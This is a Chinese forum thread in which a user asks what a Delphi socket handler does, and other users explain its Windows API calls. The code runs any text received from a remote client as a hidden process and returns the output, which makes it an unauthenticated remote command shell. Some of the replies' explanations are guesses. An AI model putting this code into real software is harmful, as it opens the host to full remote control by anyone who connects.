首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > .NET >

帮忙解释上红色的代码什么意思

2013-03-25 
帮忙解释下红色的代码什么意思procedure TFmMain.SSClientRead(Sender: TObject Socket: TCustomWinSocke

帮忙解释下红色的代码什么意思
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
  Memo1.Clear;
  remotecmd:=Socket.ReceiveText;
  fname:=allocmem(255);
  ph:=AllocMem(5000);
  lsa.nLength  :=sizeof(SECURITY_ATTRIBUTES);
  lsa.lpSecurityDescriptor  :=nil;
  lsa.bInheritHandle  :=True;
  if  CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false  then
  begin
    socket.SendText('不能创建管道');
    exit;
  end;
  fillchar(si,sizeof(STARTUPINFO),0);
  si.cb:=sizeof(STARTUPINFO);
  si.dwFlags:=(STARTF_USESTDHANDLES  or  STARTF_USESHOWWINDOW);
  si.wShowWindow:=SW_HIDE;
  si.hStdOutput:=hWritePipe;
  StrPCopy(fname,remotecmd);
  /////执行CMD命令////
  if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
  begin
    socket.SendText('不能创建进程');
    FreeMem(ph);
    FreeMem(fname);
    Exit;
  end;
  while(true)  do
  begin
  if  not  PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)  then  break;
  if  cchReadBuffer<>0  then
  begin
  if  ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false  then  break;
    ph[cchReadbuffer]:=chr(0);
    Memo1.Lines.Add(ph);
  end
  else
  if(WaitForSingleObject(pi.hProcess  ,0)=WAIT_OBJECT_0)  then  break;
    Sleep(100);
  end;
  ph[cchReadBuffer]:=chr(0);
  Memo1.Lines.Add(ph);    //memo接收回显
  CloseHandle(hReadPipe);
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);
  CloseHandle(hWritePipe);
  FreeMem(ph);
  FreeMem(fname);
  socket.SendText(Memo1.Text);  ///将回显发送回客户端
end;
end.


帮忙解释下红色的代码   搞了很久还是不明白
[解决办法]
创建结构,分配内存,给结构付值,调用API把结构地址传入,进行相应判断,基本就是这样
[解决办法]
  //给结构体的一个属性赋值,这个值就是 SECURITY_ATTRIBUTES结构体的所在内存大小。SizeOf取长度  lsa.nLength  :=sizeof(SECURITY_ATTRIBUTES);
  //这个应该是个路径之类的东西,因为不重要所以可以赋空值
  lsa.lpSecurityDescriptor  :=nil;
  //这个也是给结构体里面的属性赋值
  lsa.bInheritHandle  :=True;
  //CreatePipe应该是一个API函数,创建管道?应该是通讯方面的吧
  if  CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false  then
  begin
    socket.SendText('不能创建管道');
    exit;
  end;
  //以下这一段实际上创建一个进程。
  //初始化si的内存,并且都赋值为0,si也是一个结构体
  fillchar(si,sizeof(STARTUPINFO),0);
  //给结构体内的一些属性赋值
  si.cb:=sizeof(STARTUPINFO);  
  si.dwFlags:=(STARTF_USESTDHANDLES  or  STARTF_USESHOWWINDOW);


  si.wShowWindow:=SW_HIDE; //窗体不显示
  si.hStdOutput:=hWritePipe; //
  //将remotecmd拷贝到fname中
  StrPCopy(fname,remotecmd);
  /////执行CMD命令////
  if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
  begin
    socket.SendText('不能创建进程');
    //这两句是释放内存
    FreeMem(ph);
    FreeMem(fname);
    Exit;
  end;

[解决办法]
帮忙解释上红色的代码什么意思
学习下~~~
[解决办法]
 CreatePipe创建管道,然后对si(SECURITY_ATTRIBUTES)赋值,  CreateProcess创建一个进程,管道通信

热点排行